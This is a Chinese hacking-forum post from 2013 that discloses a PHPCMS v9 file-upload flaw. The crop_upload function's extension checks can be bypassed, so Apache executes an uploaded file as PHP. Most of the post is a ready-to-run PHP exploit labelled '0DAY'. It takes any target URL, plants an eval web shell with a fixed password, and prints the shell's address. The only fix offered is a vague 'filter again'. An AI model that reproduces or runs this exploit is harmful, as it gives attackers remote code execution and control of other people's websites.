找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2350|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
5 V! Q* y9 J( [5 B  C5 w% d  U+ a/ [" b( f
简要描述:  [% {0 g4 s& ?0 x, S

! a" E/ h# K. W8 @& T5 n3 uphpcms v9 getshell (apache)
: P$ M2 m! ~6 O8 n; V详细说明:2 M; z+ F( w/ R

9 P0 F& I! H  N9 ~3 L; J/ F- |漏洞文件:phpcms\modules\attachment\attachments.php- D- B& k' q2 D9 }
9 T# K- U4 o( y8 F) O
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } $ o+ T' T2 {' Q( M$ Y% M- O) @, P' C
后缀检测:phpcms\modules\attachment\functions\global.func.php. e% }% n2 a/ `
$ J) o# v9 F/ X- l- `0 Z, q
& A& U9 B( ]$ @% @1 t4 Y3 i5 b

. h# {2 m8 h/ X. E5 l; t! Ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ( y  K1 `3 }; N& r9 _2 s1 G" _
: x( e8 V( Q/ ~3 O& [, `
关键函数:1 }/ b  u) |- ~4 e7 G2 c) b

8 l" f' w% z8 A' u  E; y! j
) T. A5 c' r2 F' |8 w' ^: M3 i
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
- ~, `& V( d* f& P9 ]/ `# ]- o+ a: o" h2 R( l' L
  Fileext函数是对文件后缀名的提取。) K$ X# E6 F5 L" H% e4 {( U5 Z. Z
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
1 Y; J/ {: A  g/ b( p6 H/ c经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
7 B4 G9 O& D) E# g, o我们回到public function crop_upload() 函数中
& ~1 o. W, {8 N( zif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();6 j, @; N1 D7 W
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% [7 o1 k$ y3 Y这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ Z; j! {& I2 A  E经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
+ T" Y3 n7 ]! @" ~; W1 B! t$ r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
2 m0 I/ ^+ v; D3 o看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。; t( u! A: ~- {, i7 ^* S
漏洞证明:
" i) i: t. S; X( q, i
' a0 x( L6 W9 e9 }: aexp:
8 S( Y" o" O  v
( m( _" X% v/ H$ S' U<?php
+ q! E1 W, s5 [  r/ P1 Derror_reporting(E_ERROR);
4 V6 ~1 ?  U% Q, `6 hset_time_limit(0);3 O# D) p# |+ `% D
$pass="ln";
1 ?6 O7 [. R1 i5 tprint_r('
9 W( K( d7 X' T+ u# A8 M+---------------------------------------------------------------------------+
: y6 @# p* h7 k8 H1 cPHPCms V9 GETSHELL 0DAY 7 Q! @+ s' ]1 n. L. H9 n4 ~
code by L.N.; a; M% y8 J8 P4 i" O% D8 q! J9 F" L, B
* ^6 p$ Q; ~2 W. _- m$ v+ ^
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# z2 q, u+ g. \/ }+---------------------------------------------------------------------------+' I! c; O# ~* X! Z: n* T
');
* b9 d+ u7 s1 J1 w' J4 Z. lif ($argc < 2) {0 r7 j7 f3 e. P
print_r('
. N6 q5 [8 k' A$ g* w+---------------------------------------------------------------------------+3 Y' ?0 T" S# A9 [! i/ R4 T
Usage: php '.$argv[0].' url path1 z4 Z( K* R/ F/ c4 ]  w

2 W. o) B: a1 i* Z% x' y0 LExample:* p1 B, C; `, ^5 _9 Y1 y" r- g6 i
1.php '.$argv[0].' lanu.sinaapp.com2 Z# E4 l% Z6 l6 x; g
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
$ a# X. m( @  r: P9 g+---------------------------------------------------------------------------+
. ?( {. x% e, m9 }');* h' f  r( L6 ?' q8 y" V
exit;
, S5 M. @; Z0 j  w: d, s}
6 T' v& u" e7 Z' w8 {1 e0 |# J) J; u5 k4 h: u# E, }" B
$url = $argv[1];* v' h: b! D) a; p  _% k& w% G! U
$path = $argv[2];" {' v$ _& g  F* T
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 ]3 q) L* m% ?/ p
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';: e( Q, z! G' w
if($ret=Create_dir($url,$path))
- _0 f, q5 }" `* W{; }" q: O. z% K
//echo $ret;+ w; R* f$ I+ ~3 \
$pattern = "|Server:[^,]+?|U";
  F: W/ j  K/ b" q7 Jpreg_match_all($pattern, $ret, $matches);
9 x! g( L$ ~& v& r! Aif($matches[0][0])
  l' F& P. v! c" D1 \{
. y- S- s4 [# X* Eif(strpos($matches[0][0],'Apache') == false)9 E9 k4 H! H" V4 @1 f9 s: q6 F' N
{
" R* K3 K& c7 p" yecho "\n亲!此网站不是apache的网站。\n";exit;6 V- {+ e% f+ J% l, ^' a
}
- F. m' I! X' H5 |" s9 a}
0 F9 J9 G( z% G9 o# S( m$ret = GetShell($url,$phpshell,$path,$file);
$ Z6 ]5 ^) k; D5 U$ q, K$pattern = "|http:\/\/[^,]+?\.,?|U";) Q# f+ p" e) t, y# P4 V
preg_match_all($pattern, $ret, $matches);
: O' ^) b) F9 E% J+ K8 v, D" m5 rif($matches[0][0])
6 }1 x$ ~0 \+ f- o" f$ F{
- P0 c6 l1 v% i! Xecho "\n".'密码为: '.$pass."\n";
) O; D# ~3 b7 N7 \5 H! Iecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 ~' M5 M4 \. V, w. |}/ t. z3 N; E2 v5 E: z! G
else+ @9 D1 m6 a+ T) P9 b- ?5 c6 V
{. Q7 D7 h8 s4 _' \
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# E; H- f. x2 S7 R
preg_match_all($pattern, $ret, $matches);) d( v4 V; U! @1 [; ~! f8 t
if($matches[0][0])3 f- `+ C; a* O: q0 [, N
{
# B+ H, R. y2 n/ R2 b6 Qecho "\n".'密码为: '.$pass."\n";
3 n0 x2 B/ O: K$ t$ X) D* c. Xecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) R+ u8 e. M6 T}
" B# E& a7 D2 }' helse+ U; g: K2 B8 ^- e
{
+ w6 D+ O3 v9 }/ S- _* H* M& R0 Jecho "\r\n没得到!\n";exit;" s0 p( ]3 y, @: ~% z
}+ z1 }6 k! W0 V* O% {/ W- O  I
}& p: e2 a3 O( `# L% M
}
, z3 i# a& S0 I* A. k) g6 Y
0 T6 r# ~7 x$ z4 H- O# b+ Y7 Tfunction GetShell($url,$shell,$path,$js)
8 S7 g3 C4 |7 x/ e{9 p2 c- R( X5 A: X
$content =$shell;2 f9 X# Y$ t5 A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
# C7 Z5 T; F' f4 a$ }$data .= "Host: ".$url."\r\n";
" \) r8 c3 L# P2 \) j$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 r' i( v/ F! f) f5 O$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";& [* \: W4 R2 n2 I$ U1 ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  E  S8 A: N. q0 @8 }$data .= "Connection: close\r\n";
2 k' F3 S, `( w/ \0 E. T$data .= "Content-Length: ".strlen($content)."\r\n\r\n";, y2 I; W* n% j( v
$data .= $content."\r\n";
2 a; m5 v# t" H$ ]+ [" [; p$ock=fsockopen($url,80);* J  D+ ?0 r3 E+ c
if (!$ock)! E' ]  S! @. Q4 L7 F. k) ?0 N
{
# L$ F1 z# P6 y: G9 jecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 z0 g% O) b$ F- `7 d. Z}
6 u+ f( @8 x/ K' welse8 \  a8 l  R( F- F
{
2 `3 F( [0 W7 K' s# X$ o9 m5 Cfwrite($ock,$data);
: w3 `+ Q2 l& g) O+ q. R- f$ n$resp = '';
5 S! H, n( Q4 `) O4 I% T$ ~1 u5 G$ Fwhile (!feof($ock))8 F  v. a2 c9 l7 L* ]
{" b% j' \3 E: h
$resp.=fread($ock, 1024);& _, N; p+ v# e2 N% a( h) t* e8 u
}. t# ]( h0 Q, n$ M
return $resp;* q# ]% v' h7 _$ G+ @2 k% ?
}# m& \0 P6 g4 d* e
}$ F. L3 [& g# v) o# i" l: H! B

0 K/ s; V. X4 x1 w4 \7 N+ [function Create_dir($url,$path='')/ m0 U1 ]; Q, c- Y
{9 T' Z/ N$ e  \  k5 P; G6 W
$content ='I love you';( Q4 b5 t5 H6 V. @) R- s" |
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";  y! c/ n7 b5 i: u
$data .= "Host: ".$url."\r\n";* [+ ]' r5 p- t/ p
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 E* E( A6 p# D: b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( U! R7 x6 H; _' j$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";8 ~# V6 u' W  B  Q0 w
$data .= "Connection: close\r\n";* a6 }  e4 x- W% A# b8 j! ~  f
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
5 S. u! ]. H1 C$data .= $content."\r\n";
& Z# d3 V8 p6 ^% c+ t# M4 F$ock=fsockopen($url,80);  R# |6 g9 ^. |) l/ {1 n3 T: F$ K
if (!$ock)& n1 Z+ c; v; O* n
{7 @3 p5 H7 s& m; q$ w
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. i/ V# _# r$ I# \& B! F# I}" K" l' x, R# j: k+ E7 |
fwrite($ock,$data);
7 m$ f( c: }. p$resp = '';
( l8 O& {+ F+ Q" Z3 hwhile (!feof($ock))) ~7 j4 k* m2 R* z: A3 h
{
# \+ u* r+ c3 o% G  M0 ]3 I' z1 V$resp.=fread($ock, 1024);" i" }3 c  _( C
}
5 T3 N9 i2 H: |8 L1 ^1 T9 @return $resp;
7 A8 b  o, {' {& n! }0 Z( }# |}* {" a$ B5 d9 o) D7 C
?> 3 `" \7 y& a7 c! w8 H. t8 u. c
; \& S- v- Z' f; r& t
修复方案:9 v5 f, n7 e4 ?" k. L
) B: Z' D4 O9 I8 W  b3 _* S+ r% o
过滤过滤再过滤
7 h. w$ _- u7 R; c
7 `5 V: q/ b- C9 [4 E3 J/ p  V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表